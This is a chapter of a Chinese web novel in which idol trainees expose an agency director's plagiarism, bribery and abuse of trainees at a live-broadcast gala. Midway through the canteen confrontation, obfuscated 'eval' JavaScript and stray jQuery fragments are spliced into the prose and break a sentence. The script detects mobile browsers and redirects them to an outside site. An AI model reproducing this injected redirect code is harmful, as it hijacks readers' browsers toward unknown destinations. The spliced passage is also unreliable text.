首尔的冬夜像块冻硬的黑巧克力，美娜跟着陈云曦的手电筒光束穿过废弃走廊。三年前 girl-flying 突然解散后，这片区域就被封锁，墙皮剥落处露出的樱花粉底漆，与金善娅办公室的墙纸颜色分毫不差。金秀儿的运动鞋踩过积灰的地板，哮喘呼吸器在口袋里发出轻微的蜂鸣声。


    “就是这里。” 陈云曦停在生锈的铁门前，从头发里摸出枚回形针。她的指甲缝里还沾着下午做美甲时故意留下的樱花图案 —— 那是为了混淆监控里的身份特征。铁门 “吱呀” 打开的瞬间，美娜闻到了霉菌味混着发胶的甜腻气息，那是属于旧时代偶像的独特气味。


    储物间的货架上堆满了过期的应援物，褪色的荧光棒里凝结着当年的狂热。金秀儿突然蹲下，从纸箱里翻出顶血迹斑斑的鸭舌帽：“这是贤秀被打伤时戴的......” 她的声音哽咽，哮喘呼吸器的红灯开始闪烁。


    “小声点！” 陈云曦的手电筒光束扫过墙面，在角落的铁皮柜上停住，“找到了。”


    旧编舞手册的封面已经泛黄，烫金的 “GIRL-FLYING” 字样缺了个角。美娜翻开第一页，看见用红笔标注的 “J 家《樱花乱》改编要点”，旁边贴着金善娅年轻时的照片 —— 那时她还不是总监，只是个躲在幕布后偷师的练习生。


    “她当年靠偷师日本舞团的编舞上位，” 陈云曦的指尖划过泛黄的纸页，“这些笔记里有详细的时间、地点，还有贿赂舞监的收据。” 她忽然笑了，笑容里带着三年前巡演时的锋芒，“足够让她从‘行业教母’变成‘文化小偷’。”


    金秀儿的哮喘呼吸器发出刺耳的警报声。美娜迅速扶住她，摸到后背湿冷的冷汗。储物间的通风口传来老鼠跑动的声音，远处的走廊突然亮起手电筒光束 —— 保安的巡查时间比预计早了半小时。


    “躲进衣柜！” 陈云曦低声下令，将编舞手册塞进美娜的羽绒服。铁制衣柜的铰链发出抗议般的吱呀声，三人挤进去时，金秀儿的哮喘药瓶掉在地上，橙色药片滚向门缝。


    保安的脚步声越来越近。美娜屏住呼吸，听见自己的心跳声混着金秀儿压抑的喘息。手电筒光束扫过储物间的瞬间，她看见陈云曦的手悄悄伸向腰间 —— 那里藏着从道具间顺来的防狼喷雾。


    “什么声音？” 保安的皮鞋停在衣柜前，靴底沾着梅雨季的泥浆。美娜的指甲掐进掌心，摸到口袋里的口红 —— 那是刘思妍送的荧光绿限定款，外壳上印着 “SHINE BRIGHT” 的字样。


    柜门缝隙透进的光束在镜面上游走。美娜忽然想起三年前在日本武道馆，她们曾用口红在化妆镜上写加油标语。她迅速旋出膏体，在镜面上写下 “SOS”，荧光绿的字迹在黑暗中格外醒目。


    保安的对讲机传来杂音：“三楼有老鼠，不用大惊小怪。” 脚步声逐渐远去，美娜这才发现陈云曦的防狼喷雾已经拧开了保险，金秀儿的哮喘呼吸器上凝结着水珠。


    “没事了。” 陈云曦轻轻拍着金秀儿的背，荧光绿口红在她指尖留下印记，“我们不会让你出事的。”


    凌晨的练习室泛着冷光。张碧老师看着美娜递来的镜子碎片，荧光绿的 “SOS” 字样在晨光中像道伤口。她的化疗帽下露出的新生短发已经有了弧度，手里攥着的保温杯里泡着弟弟的中药。


    “三年前我就该这么做。” 张碧将碎片拍在早会桌上，瓷器碰撞声惊醒了打盹的金玖贤，“你们以为用监控和药物就能控制我们？” 她的视线扫过金善娅，后者的翡翠戒指在文件上投下阴影，“再逼死孩子，我就把 FLY 的黑料卖给对家 —— 包括某些人偷师 J 家舞团的光辉历史。”


    金善娅的瞳孔微微收缩，翡翠项链下的锁骨明显凸起。美娜注意到她今天穿了高领衫，却遮不住耳后新冒的针孔。会议室的气氛凝固，林在仁的黑客眼镜反射出张碧老师决绝的表情，贤秀的轮椅在桌下轻轻颤动。


    “张碧老师，你这是在威胁管理层。” 金善娅的声音带着惯有的冷腻，却在看见美娜袖口露出的编舞手册边角时，突然顿住，“不过看在你弟弟刚做完手术的份上，这次可以不予追究。”


    “不用你假惺惺！” 张碧抓起碎片站起身，化疗药物的副作用让她的指尖发抖，“从今天起，我要求所有练习生的体脂率不得低于健康标准，停止一切非必要药物注射，还有 ——” 她指向金善娅，“把三楼的废弃储物间重新开放，那里该透透气了。”


    早会在混乱中结束。美娜跟着陈云曦走进电梯，看见金善娅的助理抱着一堆文件冲进安全通道 —— 那是 J 家舞团的版权诉讼文件，封面上的樱花图案与储物间的旧墙纸互为镜像。


    “她开始慌了。” 陈云曦摸着口袋里的编舞手册，“当年她靠偷来的编舞挤走前辈，现在最怕的就是被曝光。” 她忽然轻笑，“知道为什么她总穿高领衫吗？因为后颈有块纹身，是 J 家舞监的名字缩写。”


    午休时的天台飘着细雪。美娜看着张碧老师在镜子前贴创可贴，遮住手臂上的针孔：“谢谢老师今天的挺身而出。”


    “该说谢谢的是我。” 张碧摸出块沈天佑送的无糖饼干，“当年我不敢反抗，眼睁睁看着 girl-flying 解散......” 她的声音低沉，“现在终于明白，有些黑暗，你越是退缩，它就越嚣张。”


    雪花落在荧光绿的 “SOS” 镜面上，渐渐模糊了字迹。美娜想起储物间里的旧应援物，想起金秀儿颤抖的双手，忽然明白，她们对抗的从来不是某个具体的人，而是整个将人异化为商品的体系。


    “下次我们去储物间，” 陈云曦晃了晃新拿到的钥匙，“该带点真正的照明设备了 —— 比如林在仁改装的 LED 灯，还有贤秀的轮椅喇叭，必要时可以当警报器用。”


    美娜笑了，雪花落在她的睫毛上，化成水珠。远处的 FLY 娱乐大楼外，有练习生举起了写着 “拒绝监控” 的标语牌，金玖贤站在人群中，棒球帽下露出的耳后没有针孔。


    深夜的储物间亮起暖黄色的 LED 灯。陈云曦摊开编舞手册，用荧光笔圈出关键证据，金秀儿的哮喘已经缓解，正在整理当年的演出服。美娜摸出荧光绿口红，在镜面上画下新的图案 —— 不是 SOS，而是展翅的蝴蝶，翅膀上的纹路与沈天佑的吊坠一模一样。


    “知道吗？” 陈云曦指着墙上的樱花底漆，“这颜色叫‘Industry Pink’，是金善娅专门定制的，寓意‘用少女的血浇灌的樱花’。” 她的指尖划过墙面，露出底下的白色底漆，“但我们要让它变成‘Freedom White’，干干净净，没有任何污点。”


    金秀儿忽然举起件血迹斑斑的演出服：“看，这是贤秀设计的新 logo，用荧光绿和白色组成，像不像我们的荧光棒和医院的白大褂？”


    美娜看着 logo 上的图案，忽然想起消防通道的星光、Livehouse 的应急灯、以及张碧老师口红写下的 SOS。这些曾经代表恐惧和压迫的元素，如今却成了她们抗争的符号。


    “我们会赢的。” 陈云曦摸出手机，给沈天佑发消息，“等把这些证据交给国际反盗版组织，金善娅的‘樱花王朝’就要崩塌了。”


    手机屏幕亮起，沈天佑的回复带着熟悉的温度：“需要我黑进 J 家的档案库吗？让证据链更完整些。” 附带的照片里，他正在用蝴蝶吊坠改装的 U 盘拷贝数据，背景是堆满无糖饼干的工作台。


    雪越下越大，储物间的 LED 灯在风雪中稳稳亮着。美娜看着身边的伙伴，忽然感觉心中有什么东西正在生长 —— 那是比樱花更坚韧的力量，是比星光更明亮的希望。她们不再是任人摆布的练习生，而是手握证据的战士，是敢于在黑暗中点亮灯火的人。


    首尔的雪粒子打在储物间的铁窗上，发出沙沙的响声。金秀儿忽然剧烈咳嗽起来，哮喘呼吸器的显示屏闪烁着红色警报。美娜迅速解开她的高领毛衣，看见后颈上淡青色的针孔 —— 那是上周被迫注射溶脂针的痕迹。


    “上次体检报告说你的哮喘药该换了......” 陈云曦皱眉翻开医药包，里面的类固醇吸入剂还是三年前的旧型号，“金善娅给练习生的药物预算，恐怕连她翡翠戒指的零头都不到。”


    美娜的指尖抚过金秀儿后背的蝴蝶骨，那里突出得异常明显，像随时会戳破皮肤的羽翼。她想起张碧老师早会上摔碎的镜子碎片，想起金善娅耳后新冒的针孔，忽然意识到整个 FLY 娱乐就像台精密的榨汁机，将少女们的青春、健康、梦想榨成资本的花蜜。


    “看这个。” 陈云曦突然抽出编舞手册的内页，泛黄的纸页间掉出张泛黄的收据，“1998 年 3 月 15 日，金善娅向 J 家舞监转账 500 万日元，附言‘编舞指导费’。” 她的指尖划过收据上的樱花邮戳，“那时她刚进公司，连练习生都不是。”


    金秀儿的呼吸渐渐平稳，她盯着收据上的签名，忽然想起什么：“我表姐以前在 J 家当清洁工，她说过有个韩国练习生总在门缝里偷师......” 她的声音带着哮喘后的沙哑，“原来就是金善娅。”


    凌晨两点的储物间，林在仁的黑客设备发出蓝光。他将编舞手册的扫描件导入系统，屏幕上立刻弹出 J 家舞团的版权数据库对比结果：“《樱花乱》的副歌部分，相似度高达 87%。” 他推了推眼镜，“加上沈天佑黑进 J 家档案库的转账记录，证据链完整了。”


    美娜看着屏幕上跳动的数字，想起三年前 girl-flying 的《星芒之舞》被指抄袭时，金善娅是如何轻描淡写地说 “艺术创作总有借鉴”。她摸出荧光绿口红，在储物间的墙上画下倒计时 —— 距离 FLY 娱乐年度盛典还有 72 小时。


    “我们需要个直播方案。” 陈云曦咬着笔帽，樱花美甲在 LED 灯下发着微光，“年度盛典的全球直播有三千万观众，这是最好的曝光机会。”


    金秀儿忽然坐直身子，眼中闪过坚定：“我可以负责后台监控，林在仁黑进直播系统，美娜和云曦负责现场举证......” 她的哮喘呼吸器发出规律的蜂鸣声，“反正我已经被列入淘汰名单，没什么可失去的了。”


    午休时的员工餐厅，张碧老师将中药杯重重放在金善娅面前。后者正在用银匙搅拌燕窝，翡翠戒指在汤面上投下扭曲的倒影。


    “这是给你的警告。” 张碧掀开保温杯，里面不是中药，而是满满一杯溶脂针玻璃碎片，“再有任何伤害练习生的行为，这些碎片会出现在记者会上。”


    金善娅的银匙停在半空，燕窝汤的热气模糊了她的镜片：“张碧，你知道造谣的代价吗？”


    “代价？” 张碧抓起碎片撒在燕窝里，“是像你一样每天注射三支溶脂针，把自己搞成内分泌失调的怪物？还是像我弟弟那样，因为公司克扣医保差点死在手术台上？” 她的声音里带着破釜沉舟的狠劲，“大不了鱼死网破，我至少还能换得干干净净。”


    餐厅里响起此起彼伏的抽气声。美娜看见练习生们悄悄举起手机拍摄，金玖贤的棒球帽下露出惊讶的表情，而角落里的保安正在偷偷摸对讲机。


    “张碧老师，你冷静点......” 金善娅的声音明显底气不足，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467622|169829||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她看着周围聚集的人群，忽然注意到美娜袖口露出的编舞手册，“你跟她们混在一起，就不怕连累你弟弟？”


    “我的弟弟？” 张碧忽然笑了，从口袋里摸出张纸，“他昨天已经转入免费治疗的特护病房，感谢某位不愿意透露姓名的好心人 ——” 她故意拖长声音，“用黑客技术曝光了贵公司的医疗基金挪用记录。”


    美娜知道她说的是沈天佑。昨晚他发来消息，说在金善娅弟弟的医美诊所数据库里，发现了 FLY 娱乐挪用练习生医疗基金的证据。此刻看着金善娅骤然苍白的脸，她终于明白，这场战争的天平正在悄悄倾斜。


    年度盛典的后台像个华丽的战场。美娜穿着 Boy-running 粉丝寄来的素色应援服，袖口别着张碧老师送的银蝶胸针，里面藏着微型摄像头。陈云曦的樱花美甲下藏着 U 盘，里面是完整的证据链，而金秀儿正在监控室与林在仁对接，荧光绿的耳麦线从高领衫里露出。


    “还有十分钟上台。” 金善娅的助理递来话筒，眼神闪烁，“善娅姐说，只要你按流程表演，之前的事可以既往不咎。”


    美娜接过话筒，指尖触到熟悉的冷感 —— 和三年前 girl-flying 决赛时的话筒一样，内置了自动修音芯片。她想起沈天佑的警告：“他们可能会在直播中强制你假唱，制造‘完美偶像’的假象。”


    舞台上的灯光逐渐亮起，观众席的欢呼声像潮水般涌来。美娜站在升降台上，看见 J 家舞团的代表坐在评审席，他们的西装上别着樱花徽章，与储物间的旧墙纸形成诡异的呼应。


    “接下来，有请 FLY 娱乐新生代代表 —— 尹美娜！”


    升降台缓缓升起的瞬间，美娜扯掉话筒上的修音芯片。聚光灯下，她看见金善娅在后台疯狂比划手势，林在仁的黑客眼镜反射出直播画面 —— 她们的实时影像已经通过加密频道传输到全球各个平台。


    “今天我想讲一个故事。” 美娜的声音没有经过修饰，带着真实的颤音，“关于一个靠偷师和贿赂上位的‘行业教母’，以及她用少女的血浇灌的‘樱花王朝’。”


    会场响起震惊的低语。金善娅冲向舞台，却被张碧老师和贤秀拦住，后者的轮椅上绑着扩音器，正在播放编舞手册的扫描件内容。美娜摸出编舞手册，泛黄的纸页在聚光灯下像面旗帜。


    “这是金善娅二十年前偷师 J 家舞团的证据，” 她指向评审席的 J 家代表，“请问各位，这样的人有什么资格坐在评审席上？”


    J 家代表们面面相觑，其中一位忽然站起身：“我们确实收到过相关举报......”


    金善娅的翡翠戒指砸在舞台上，发出清脆的响声：“这是诬陷！是炒作！” 她的高领衫已经滑落，露出后颈的纹身 —— 正是 J 家舞监的英文名缩写。


    台下爆发雷鸣般的抗议声。美娜看见直播画面里，全球各地的粉丝正在焚烧 FLY 娱乐的应援物，樱花图案的周边被踩在脚下，取而代之的是荧光绿的 “SOS” 标志。


    “你们以为可以永远一手遮天？” 陈云曦突然冲上舞台，举起 U 盘，“这里面有金善娅贿赂、挪用公款、虐待练习生的全部证据，现在已经上传到国际反盗版组织的服务器。”


    金善娅的助理突然掏出手机，却被林在仁远程锁屏，屏幕上跳出大大的 “FREE” 字样。贤秀的轮椅喇叭开始播放练习生们的体检报告，金秀儿的哮喘诊断书、张碧老师的化疗记录、美娜的低血糖急救记录，每一个名字背后都是资本的罪状。


    雪粒子再次打在会场的玻璃幕墙上，却无法掩盖舞台上的光芒。美娜看着身边的伙伴，想起储物间的 LED 灯、口红写下的 SOS、以及沈天佑在甜品店废墟种下的樱花树，终于明白，她们早已不是孤军奋战。


    “真正的偶像不该是资本的傀儡！” 美娜的声音穿透会场，“我们的身体不是药物实验场，我们的梦想不是数据商品，我们的灵魂 ——” 她摸出沈天佑的蝴蝶吊坠，“永远属于自己！”


    直播画面突然被无数 “#BreakTheChain” 的标签刷屏，FLY 娱乐的股价在十五分钟内暴跌 70%。金善娅瘫坐在舞台上，翡翠项链断成两截，而 J 家代表们正收拾行李匆匆离场，樱花徽章掉在地上，被愤怒的粉丝碾成碎片。


    散场后的储物间飘着消毒水的气味。金秀儿的哮喘已经平复，正在用荧光绿口红在镜面上画胜利的手势。张碧老师摸着弟弟的康复报告，嘴角扬起久违的笑容，而陈云曦正在给沈天佑发消息，窗外的雪不知何时停了，露出久违的星光。


    “看这个。” 林在仁晃了晃手机，全球趋势榜前三位都是与 FLY 娱乐相关的词条，“国际反偶像工业组织说，我们的行动已经引发三十七个国家的行业调查。”


    美娜看着镜面上的蝴蝶图案，想起金善娅后颈的纹身，忽然笑了。她知道，这场战斗的胜利只是开始，但至少，她们已经撕开了笼罩在偶像工业上的黑幕，让阳光照进了曾经阴暗的储物间。


    “下一站去哪？” 金秀儿摸着贤秀设计的新 logo，荧光绿的蝴蝶振翅欲飞。


    美娜望向窗外，FLY 娱乐大楼的霓虹正在熄灭，取而代之的是练习生们举起的手机电筒，像漫天星光。她摸出块沈天佑新烤的无糖饼干，咬下时尝到了雪水的清甜 —— 那是自由的味道。


    “去一个不需要谎言和针孔的地方，” 她笑着说，“去告诉全世界，真正的偶像力量，来自真实的灵魂，来自永不妥协的抗争，来自 ——” 她指向镜面上的荧光绿蝴蝶，“破茧而出的勇气。”